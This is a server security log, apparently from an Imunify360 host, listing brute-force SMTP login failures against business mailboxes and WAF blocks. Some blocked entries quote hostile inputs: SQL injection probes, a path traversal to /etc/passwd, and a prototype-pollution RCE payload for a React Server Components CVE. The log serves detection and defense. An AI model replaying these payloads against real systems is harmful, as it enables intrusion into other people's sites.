# incident

plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 07:52:22 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account miya has been locked for the attacker IP 158.94.208.175


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 2001:e68:542f:3613:a95b:4df4:4d2:5ed5
country_id: 1733045
domain: thinkcloud.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1' union select 1,2,3,4 --  ||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.38
country_id: 1036973
description:
2026-02-01 07:53:02 dovecot_login authenticator failed for H=([197.219.208.38]) [197.219.208.38]:47670: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 07:53:06 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:49876: 535 Incorrect authentication data


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.134.127.52
country_id: 1210997
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=3&sub=38 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 07:53:33 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account miya has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.31.197.108
country_id: 6252001
description:
2026-02-01 07:53:51 dovecot_login authenticator failed for H=(173-31-197-108.client.mchsi.com) [173.31.197.108]:33112: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:53:13 dovecot_login authenticator failed for H=(k2NtAfkC) [158.94.208.175]:53580: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.22
country_id: 1269750
description:
2026-02-01 07:53:14 dovecot_login authenticator failed for H=([182.95.181.22]) [182.95.181.22]:40286: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 07:53:18 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:55752: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.91.113.248
country_id: 6252001
description:
2026-02-01 07:54:14 dovecot_login authenticator failed for H=(syn-172-091-113-248.res.spectrum.com) [172.91.113.248]:45586: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 07:54:30 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:65200: 535 Incorrect authentication data (set_id=testing@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.59.202.241
country_id: 149590
description:
2026-02-01 07:54:37 dovecot_login authenticator failed for H=(241.202-59-41.data-dsm.ttcldata.net) [41.59.202.241]:35944: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.203.231.220
country_id: 2464461
description:
2026-02-01 07:54:15 dovecot_login authenticator failed for H=([196.203.231.220]) [196.203.231.220]:34380: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-02-01 07:54:26 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:58200: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.251.143.14
country_id: 1269750
description:
2026-02-01 07:54:58 dovecot_login authenticator failed for H=([103.251.143.14]) [103.251.143.14]:57438: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 07:54:02 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:64689: 535 Incorrect authentication data (set_id=testing@sv3.nocser.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:54:06 dovecot_login authenticator failed for H=(kLbX0zoO5) [158.94.208.175]:59629: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.17
country_id: 2542007
description:
2026-02-01 07:54:09 dovecot_login authenticator failed for H=([102.53.15.17]) [102.53.15.17]:60303: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.158
country_id: 2750405
description:
2026-02-01  7:55:19 208853 [Warning] Aborted connection 208853 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.158' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.128.52.170
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=982714 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.226.91.6
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=219327 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.132.238.43
country_id: 6252001
description:
2026-02-01 07:55:44 dovecot_login authenticator failed for H=c-76-132-238-43.hsd1.ca.comcast.net [76.132.238.43]:35578: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 2001:e68:542f:3613:a95b:4df4:4d2:5ed5
country_id: 1733045
domain: thinkcloud.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1' order by 2 --  [no error]||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 07:55:24 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:40416: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
country_id: 2542007
description:
2026-02-01 07:55:36 dovecot_login authenticator failed for H=([102.53.15.18]) [102.53.15.18]:49366: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:55:12 dovecot_login authenticator failed for H=(ztUWK2AIX) [158.94.208.175]:55171: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.124.139.77
country_id: 3144096
description:
2026-02-01 07:55:50 dovecot_login authenticator failed for H=([188.124.139.77]) [188.124.139.77]:47380: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 2001:e68:542f:3613:a95b:4df4:4d2:5ed5
country_id: 1733045
domain: thinkcloud.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:referer||MV:https://thinkcloud.com.my/resources-details.php?id=1' order by 2 --  [no error]||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:56:10 dovecot_login authenticator failed for H=(IdFAGU5u) [158.94.208.175]:55466: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.30.20.238
country_id: 1814991
description:
2026-02-01 07:56:12 dovecot_login authenticator failed for H=([1.30.20.238]) [1.30.20.238]:56746: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.241.50
country_id: 1814991
description:
2026-02-01 07:56:22 dovecot_login authenticator failed for H=([218.21.241.50]) [218.21.241.50]:50402: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.26.22.104
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=946038 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 140.228.24.162
country_id: 6252001
description:
2026-02-01 07:57:47 dovecot_plain authenticator failed for H=([10.3.156.154]) [140.228.24.162]:39373: 535 Incorrect authentication data (set_id=jyteh@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 07:57:33 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:51888: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 138.199.19.25
country_id: 2921044
description:
2026-02-01 07:57:06 dovecot_login authenticator failed for H=(ADMIN) [138.199.19.25]:29903: 535 Incorrect authentication data (set_id=dsc_team@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:57:30 dovecot_login authenticator failed for H=(JQms3kO) [158.94.208.175]:63263: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.158
country_id: 2750405
description:
2026-02-01  7:57:40 209106 [Warning] Aborted connection 209106 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.158' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.106.78.215
country_id: 2017370
description:
2026-02-01 07:57:58 dovecot_login authenticator failed for H=(77x106x78x215.dynamic.barnaul.ertelecom.ru) [77.106.78.215]:37250: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.146.233.179
country_id: 1269750
description:
2026-02-01 07:58:25 dovecot_login authenticator failed for H=([103.146.233.179]) [103.146.233.179]:60781: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: modsec
rule: 77350312
name: IM360 WAF: Block system file path in request
abuser: 151.245.112.88
country_id: 798544
domain: www.evergrown.com.my
description:
IM360 WAF: Block system file path in request||MVN:ARGS:id||MV:../../../../../../../../../etc/passwd||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.143.159
country_id: 99237
description:
2026-02-01 07:58:53 dovecot_plain authenticator failed for H=(sticep) [65.20.143.159]:52379: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 140.228.24.162
country_id: 6252001
description:
2026-02-01 07:58:01 dovecot_plain authenticator failed for H=([10.3.156.154]) [140.228.24.162]:45610: 535 Incorrect authentication data (set_id=jyteh@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:58:02 dovecot_login authenticator failed for H=(ppQ63Kd) [158.94.208.175]:59367: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.194.142.167
country_id: 1814991
description:
2026-02-01 07:58:57 dovecot_login authenticator failed for H=([112.194.142.167]) [112.194.142.167]:60358: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 07:59:43 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:46366: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:59:29 dovecot_login authenticator failed for H=(cNxXdy8Z) [158.94.208.175]:57458: 535 Incorrect authentication data (set_id=suffian)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.79.108.51
country_id: 2017370
description:
2026-02-01 07:59:38 dovecot_login authenticator failed for H=([95.79.108.51]) [95.79.108.51]:44172: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 07:59:41 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:54632: 535 Incorrect authentication data (set_id=test@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.76.248.54
country_id: 1814991
description:
2026-02-01 07:59:38 dovecot_login authenticator failed for H=([222.76.248.54]) [222.76.248.54]:53722: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.17
country_id: 2542007
description:
2026-02-01 07:59:55 dovecot_login authenticator failed for H=([102.53.15.17]) [102.53.15.17]:54061: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:59:03 dovecot_login authenticator failed for H=(8t6wZm) [158.94.208.175]:61904: 535 Incorrect authentication data (set_id=suffian)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.75.215.245
country_id: 1269750
description:
2026-02-01 08:01:00 dovecot_login authenticator failed for H=(nsg-static-245.215.75.182-airtel.com) [182.75.215.245]:33596: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.251.31.166
country_id: 1269750
description:
2026-02-01 08:00:05 dovecot_login authenticator failed for H=([182.95.131.41]) [103.251.31.166]:55182: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:00:10 dovecot_login authenticator failed for H=(q1KzKruO) [158.94.208.175]:50609: 535 Incorrect authentication data (set_id=suffian)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.194
country_id: 1269750
description:
2026-02-01 08:00:34 dovecot_login authenticator failed for H=(nsg-corporate-194.230.187.122.airtel.in) [122.187.230.194]:39788: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 08:00:04 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:59280: 535 Incorrect authentication data (set_id=test@wohcheong.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.208.46.130
country_id: 1522867
description:
2026-02-01 08:00:15 dovecot_login authenticator failed for H=([37.208.46.130]) [37.208.46.130]:36390: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.185.255.227
country_id: 1814991
description:
2026-02-01 08:00:16 dovecot_login authenticator failed for H=(Mail.chinaqiaoyu.com) [222.185.255.227]:56227: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 151.237.115.208
country_id: 732800
description:
2026-02-01 08:00:25 dovecot_login authenticator failed for H=(151.237.115.208.pronet.bg) [151.237.115.208]:52645: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.51.26.198
country_id: 1269750
description:
2026-02-01 08:00:53 dovecot_login authenticator failed for H=([103.51.26.198]) [103.51.26.198]:53745: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 08:01:51 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:48448: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.150.135.19
country_id: 690791
description:
2026-02-01 08:01:02 dovecot_login authenticator failed for H=(19.135.150.178.triolan.net) [178.150.135.19]:18845: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:01:11 dovecot_login authenticator failed for H=(QhB8p6Sct6) [158.94.208.175]:51338: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 08:01:04 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:58423: 535 Incorrect authentication data (set_id=test@mamstg.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.45.101.159
country_id: 1835841
description:
2026-02-01 08:01:15 dovecot_login authenticator failed for H=([118.45.101.159]) [118.45.101.159]:48479: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.176.194
country_id: 1269750
description:
2026-02-01 08:02:49 dovecot_login authenticator failed for H=([152.52.234.46]) [182.95.176.194]:44694: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 08:02:05 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:54520: 535 Incorrect authentication data (set_id=test@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:02:11 dovecot_login authenticator failed for H=(S099LqxjQ) [158.94.208.175]:58695: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.167.217.86
country_id: 1814991
description:
2026-02-01 08:02:33 dovecot_login authenticator failed for H=([183.167.217.86]) [183.167.217.86]:41178: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:03:21 dovecot_login authenticator failed for H=(2pImdZNEKx) [158.94.208.175]:64465: 535 Incorrect authentication data (set_id=suffian)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 08:03:58 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:43214: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.174.86.4
country_id: 1814991
description:
2026-02-01 08:03:39 dovecot_login authenticator failed for H=([60.174.86.4]) [60.174.86.4]:57677: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.29.185.162
country_id: 1643084
description:
2026-02-01 08:03:48 dovecot_login authenticator failed for H=(ip-103-29-185-162.pascalwave.com) [103.29.185.162]:42912: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77093094
abuser: 134.199.163.0
country_id: 2077456
domain: 42.0.28.70:80
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B0\\\"}\",\"_response\":{\"_prefix\":\"test\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-02-01 08:04:47 dovecot_plain authenticator failed for H=54.126.103.87.rev.vodafone.pt (odylly) [87.103.126.54]:12111: 535 Incorrect authentication data (set_id=seanlee@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:04:06 dovecot_login authenticator failed for H=(XfmL10s) [158.94.208.175]:62157: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.5.109.4
country_id: 2017370
description:
2026-02-01 08:04:52 dovecot_plain authenticator failed for H=(metioring) [213.5.109.4]:46666: 535 Incorrect authentication data (set_id=seanlee@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.102.148.242
country_id: 6252001
description:
2026-02-01 08:05:22 dovecot_login authenticator failed for H=syn-098-102-148-242.biz.spectrum.com [98.102.148.242]:58494: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.166.253.226
country_id: 1269750
description:
2026-02-01 08:06:01 dovecot_login authenticator failed for H=(abts-kk-static-226.253.166.122.airtelbroadband.in) [122.166.253.226]:56300: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:05:19 dovecot_login authenticator failed for H=(ZhEf59LDK) [158.94.208.175]:50755: 535 Incorrect authentication data (set_id=suffian)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.118.78.220
country_id: 1210997
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=126580 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.88.237.152
country_id: 1814991
description:
2026-02-01 08:05:34 dovecot_login authenticator failed for H=(152.237.88.222.broad.ny.ha.dynamic.163data.com.cn) [222.88.237.152]:31788: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.193.147.75
country_id: 1269750
description:
2026-02-01 08:05:53 dovecot_login authenticator failed for H=([203.193.147.75]) [203.193.147.75]:52080: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.195.211.98
country_id: 6252001
description:
2026-02-01 08:05:38 dovecot_plain authenticator failed for H=c-73-195-211-98.hsd1.nj.comcast.net (subter) [73.195.211.98]:57762: 535 Incorrect authentication data (set_id=jun@kdiballoon.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.12.182.83
country_id: 6252001
description:
2026-02-01 08:05:46 dovecot_login authenticator failed for H=([124.14.22.96]) [154.12.182.83]:47660: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.76.107.16
country_id: 1269750
description:
2026-02-01 08:06:02 dovecot_login authenticator failed for H=(nsg-static-16.107.76.182-airtel.com) [182.76.107.16]:49810: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.84.246
country_id: 1814991
description:
2026-02-01 08:06:27 dovecot_login authenticator failed for H=([116.114.84.246]) [116.114.84.246]:45868: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.75.215.245
country_id: 1269750
description:
2026-02-01 08:06:39 dovecot_login authenticator failed for H=(nsg-static-245.215.75.182-airtel.com) [182.75.215.245]:40396: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-02-01 08:06:07 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:60062: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 08:06:09 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:58550: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.233.83.90
country_id: 1814991
description:
2026-02-01 08:06:10 dovecot_login authenticator failed for H=([116.233.83.90]) [116.233.83.90]:58872: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-01 08:06:12 dovecot_login authenticator failed for H=(OxPf7du) [158.94.208.110]:61910: 535 Incorrect authentication data (set_id=louiswong@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.161.217.228
country_id: 2510769
description:
2026-02-01 08:06:17 dovecot_login authenticator failed for H=(228.pool90-161-217.static.orange.es) [90.161.217.228]:43409: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:06:25 dovecot_login authenticator failed for H=(yo4ffVP) [158.94.208.175]:51730: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 08:07:36 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:51060: 535 Incorrect authentication data (set_id=testing@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-01 08:07:24 dovecot_login authenticator failed for H=(jy8H7X8T) [158.94.208.110]:51462: 535 Incorrect authentication data (set_id=louiswong)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
country_id: 1835841
description:
2026-02-01 08:07:47 dovecot_login authenticator failed for H=([220.80.223.144]) [220.80.223.144]:49020: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.165.111
country_id: 1835841
description:
2026-02-01 08:07:54 dovecot_login authenticator failed for H=([121.142.165.111]) [121.142.165.111]:59239: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:07:07 dovecot_login authenticator failed for H=(zahGBj) [158.94.208.175]:51471: 535 Incorrect authentication data (set_id=suffian)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.194.142.167
country_id: 1814991
description:
2026-02-01 08:07:15 dovecot_login authenticator failed for H=([112.194.142.167]) [112.194.142.167]:44110: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:07:26 dovecot_login authenticator failed for H=(ewO2kUOpL) [158.94.208.175]:58733: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.239.84.130
country_id: 2017370
description:
2026-02-01 08:07:34 dovecot_login authenticator failed for H=([83.239.84.130]) [83.239.84.130]:43593: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 08:08:07 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:62265: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-01 08:08:10 dovecot_login authenticator failed for H=(REK5Rxu) [158.94.208.110]:58591: 535 Incorrect authentication data (set_id=louiswong@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:08:55 dovecot_login authenticator failed for H=(sOF9EKC7X) [158.94.208.175]:57229: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.79.108.51
country_id: 2017370
description:
2026-02-01 08:08:11 dovecot_login authenticator failed for H=([95.79.108.51]) [95.79.108.51]:49614: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 86.111.91.69
country_id: 690791
description:
2026-02-01 08:08:13 dovecot_login authenticator failed for H=host-86-111-91-69.566f.la.net.ua [86.111.91.69]:52899: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 08:08:16 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:58822: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.107.237.126
country_id: 1835841
description:
2026-02-01 08:08:29 dovecot_login authenticator failed for H=([211.107.237.126]) [211.107.237.126]:33794: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.208.46.130
country_id: 1522867
description:
